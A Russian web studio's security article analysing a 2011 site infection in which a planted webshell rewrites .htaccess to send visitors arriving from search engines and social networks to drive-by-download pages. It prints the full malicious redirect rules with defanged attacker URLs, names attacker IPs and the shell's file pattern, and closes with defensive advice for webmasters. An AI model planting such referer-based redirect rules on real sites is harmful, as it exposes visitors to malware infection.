Статьи

Как выбирать веб-разработчика

Критерии выбора веб-разработчика (результаты опроса клиентов) / «Рейтинг Рунета»

сайт интерент разработка 

Современный веб-сайт - в борьбе за клиента

Борьба за клиента является основной движущей силой бизнеса вообще и интернет технологий в частности. Смещение тренда деловой активности в сторону интернет у нас в стране особенно ярко было выражено в период 2005-2010г, отчасти этому способствовал кризис 2008г. Относительно низкая стоимость вложений и огромная аудитория — два фактора, которые подвигли бизнесменов на открытие своих интернет-представительств и торговых сайтов. Огромный спрос на интернет технологии, в свою очередь, значительно продвинул в развитии и саму отрасль. Выросло количество веб-студий и фрилансеров. Однако технический и графический уровень интернет ресурсов какое-то время в подавляющем большинстве оставался на уровне простеньких сайтов, дающих клиенту минимум информации. И только в последнее время количество наконец стало влиять на качество.

веб-сайт создание сайта продвижение сайта уникальный контент функционал сайта 

Как выбрать CMS (систему управления контентом)

Во все времена информация ценилась очень высоко. Современный ритм жизни и бизнеса накладывает свой отпечаток на все средства как получения, так и предоставления информации. От того насколько быстро и полно можно найти информацию – зависит и успех в бизнесе и решение житейских забот. Интернет дал миру богатые возможности для предоставления информации. Но краеугольным камнем в настоящий момент является скорость и удобство обработки информации – насколько быстро и корректно можно разместить актуальную информацию в сети Интернет. Современные технологии создания и обслуживания веб-сайтов предлагают разработчикам, управляющим и пользователям сайтов огромный выбор готовых к использованию систем. Большинство систем управления контентом (CMS) универсальны, но у многих есть свое основное назначение, свои плюсы и минусы. Помочь разобраться в этом – цель данной статьи.

управление контентом CMS веб-сайт интернет 

Архив "Статьи"

Основная цель веб-сайта — донести до пользователя информацию и оставить благоприятное впечатление. Хороший сайт — удобен, легок, эстетичен и предоставляет всю необходимую информацию по своей тематике. Поэтому у хорошего веб-сайта должен быть хороший дизайн, хорошая навигация, современные технологии web и хорошая структура информации. подробнее...




Партнеры

ВЕБ-бюро Синий Муравей ISPServer надежный хостинг Участник проекта CMS Magazine

Метки

CMS  CSS  cтили  DDOS  DLP  freelance  Google  html  html5  JavaScript  photoshop  reset  robot.txt  schema.org  seo  SQL инъекция  VLAN  VPN  Windows 2003  аудит  базы данных  безопасность  бизнес  биржи  блоги  ботнет  броузер  веб-сайт  веб-сайты  вебмастеру  вебсайт  вёрстка  взлом  деньги  дизайн  заработок  заражение  защита  зомби-сеть  интерент  интернет  карты  киберпреступность  ключевые слова  конверсия  контекст  контекстная  контент  корпоративный  креатив  маркетинг  менеджер  микроформаты  мобильный сайт  монетизация  облако  оптимизация  оптимизация сайта  оптимизация сайтов  поведенческий фактор  поиск  Поисковая оптимизация  поисковики  поисковое продвижение  поисковые системы  провайдеры  программирование  продвижение  продвижение сайта  проект  промоушн  работа  разработка  раскрутка  рейтинг  реклама  сайт  сайты  саппорт  секция  сервер  слои  служба поддержки  создание  создание сайта  ссылки  статья  стили  схемы  удаленный доступ  уникальный контент  управление контентом  фриланс  функционал сайта  хороший сайт  хостинг  центрирование  Яндекс 
Главная ИНФОРМАЦИЯ Статьи Безопасность Способы заражения сайта

Способы заражения сайта

Статьи Безопасность

Дано

Веб-сайт заражён.

  • Когда пользователи заходят на сайт – он перенаправляет их на страницу, которая выполняет drive-by-download атаку.
  • Перенаправляет почти всегда, и каждый день на разные страницы.
  • Когда вебмастер заходит на свой сайт, тот его никуда не перенаправляет.
  • Сайт полностью статический: ни клиентских, ни серверных скриптов, ни каких-то других активных элементов на нём нет.

Как же происходит заражение, и что делать, чтобы его устранить и больше не допустить?


Решение

Как вы, наверное, уже догадались, речь идёт о заражении сайта с помощью вредоносного редиректа, настроенного с помощью файла  .htaccess :
  • Он перенаправляет пользователей, потому что они в основном переходят на заражённый сайт по ссылкам из поисковых систем и социальных сетей.
  • Он не перенаправляет вебмастера, потому что тот вводит домен своего сайта в адресную строку браузера.
  • Цель редиректа изменяется, потому что файл. htaccess регулярно переписывает вредоносный серверный скрипт, который находится в директории другого сайта.

.htaccess – далеко не единственный конфигурационный файл, с помощью которого можно сделать сайт частью системы распространения вредоносного кода. Это можно сделать и с помощью других файлов с настройками веб-серверов и интерпретаторов серверных скриптов. В них часто применяются специальные, довольно сложные языки настройки. Ошибка при изменении такого файла может привести к выходу из строя всего веб-сервера, а у вебмастеров не всегда есть права на их чтение и изменение.

В последнее время техника распространения вредоносного ПО с помощью настроенного в .htaccess редиректа на вредоносный сайт снова популярна у злоумышленников.

Чаще всего редирект на страницу, которая производит drive-by-download атаку, происходит только в том случае, когда на заражённый сайт перешли с крупной поисковой системы или социальной сети.

С 31.10.2011 по 03.11.2011 Безопасный Поиск выявил настроенные в .htaccess редиректы на следующие страницы с вредоносным кодом:

h**p://billing-white.ru/cname/index.php?no=324&ida=4973
h**p://ristoncharge.in/meeting/index.php
h**p://telebillactivation.ru/distantion/index.php
h**p://billing-white.ru/cname/index.php
h**p://paybucks.ru/payform/index.php
h**p://payment-glonas.in/position/index.php
h**p://assistantbilling.in/proccess/index.php
h**p://assistant-first.ru/payment/index.php

Чтобы перенаправлять пользователей заражённого сайта, в файл .htaccess добавляются дополнительные правила, например:

ErrorDocument 400 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 401 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 403 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 404 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 500 h**p://ristoncharge.in/meeting/index.php

RewriteEngine On
RewriteCond %{HTTP_REFERER}. *google\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *ask\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *yahoo\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *baidu\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *youtube\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *wikipedia\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *qq\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *excite\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *altavista\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *msn\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *netscape\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *aol\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *hotbot\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *goto\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *infoseek\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *mamma\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *alltheweb\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *lycos\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *search\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *metacrawler\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *bing\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *dogpile\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *facebook\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *twitter\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *blog\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *live\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *myspace\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *mail\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *yandex\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *rambler\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *ya\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *aport\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *linkedin\. (.*) [OR]
RewriteCond %{HTTP_REFERER}. *flickr\. (.*)
RewriteRule ^ (.*)$ h**p://ristoncharge.in/meeting/index.php

Видно, что редирект происходит, если:

  1. При работе с сервером возникли ошибки (сервер получил HTTP-заголовок, который не может обработать; возникла ошибка авторизации; пользователю запрещён доступ к определенным директориям или файлам; произошло обращение к несуществующей странице; произошла внутренняя ошибка сервера). В этом случае заражённый веб-сервер выдаёт пользователю не стандартный ответ, отражающий суть ошибки, а редирект на  h**p://ristoncharge.in/meeting/index.php.

  2. Если на сервере установлен модуль Apache mod_rewrite и пользователь перешёл на заражённый сайт с доменов известных поисковых машин и социальных сетей, название которых содержит: google., ask., yahoo., baidu., youtube., wikipedia., qq., excite., altavista., msn., netscape., aol., hotbot., goto., infoseek., mamma., alltheweb., lycos., search., metacrawler., bing., dogpile., facebook., twitter., blog., live., myspace., mail., yandex., rambler., ya., aport., linkedin., flickr.

Изменения в .htaccess тут же применяются ко всему контенту в директории, в которой он находится, а также в её поддиректориях, и могут одновременно сделать вредоносными все сайты, размещённые на веб-сервере.

Чтобы затруднить обнаружение вредоносного кода веб-мастером, в начало файла .htaccess записывается большое количество пустых строк и символов табуляции:



Чтобы записать приведённые выше вредоносные правила в .htaccess, злоумышленники используют CMS, чтобы поместить на веб-сервер вредоносный веб-шелл скрипт. В проанализированном примере заражения использовались скрипты с именем вида tmp_2791826179573679.php (где 2791826179573679 — случайный набор цифр), содержащие обфусцированный вредоносный код вида:



Этот скрипт позволяет злоумышленникам не только изменять. htaccess, но и выполнять другие вредоносные действия.

В частности, в среднем раз в сутки он получает с IP-адресов пользователей донецкого провайдера didan.org (например, 31.41.15.431.41.8.5931.41.10.18331.41.10.157) команды на:
    • изменение файлов .htaccess;
    • доступ к файлам /etc/httpd/conf/httpd.conf и /etc/passwd;
    • поиск и выборочное внедрение в php-файлы бэкдоров и редиректоров, причём таких, чтобы заражённые партнёрские сети, на вредоносные страницы которых производится редирект, могли идентифицировать злоумышленника и выплатить ему гонорар.

Ни один из антивирусов, используемых на VirusTotal.com, на 11.11.2011 не детектировал в таком php-скрипте вредоносный код.

Более того, наличие браузерного вредоносного кода из Blackhole Exploit Pack на вредоносных страницах, на которые происходит редирект, на 11.11.2011 детектировали только 3 антивируса из 43.
Ответ

Рекомендации по обнаружению и удалению:
  1. На файлы, находящиеся на веб-сервере, нужно устанавливать такие полномочия, чтобы серверные скрипты не могли изменять их без необходимости.
  2. Следует обращать внимание на php-скрипты со странными именами, а также на скрипты, размещенные в неподходящих местах – например, в каталоге с картинками.
  3. Нужно регулярно проверять содержимое страниц сайта на наличие вредоносного кода при переходе с поисковых выдач.
  4. Увидев пустой файл. htaccess, следует удостовериться, что его размер – 0 байт.
  5. В целом, рекомендации для вебмастеров аналогичны тем, которые приведены здесь.

вебсайтбезопасностьзаражениевебмастеру 

20.11.2011, 192 просмотра.




Яндекс.Метрика

Реклама: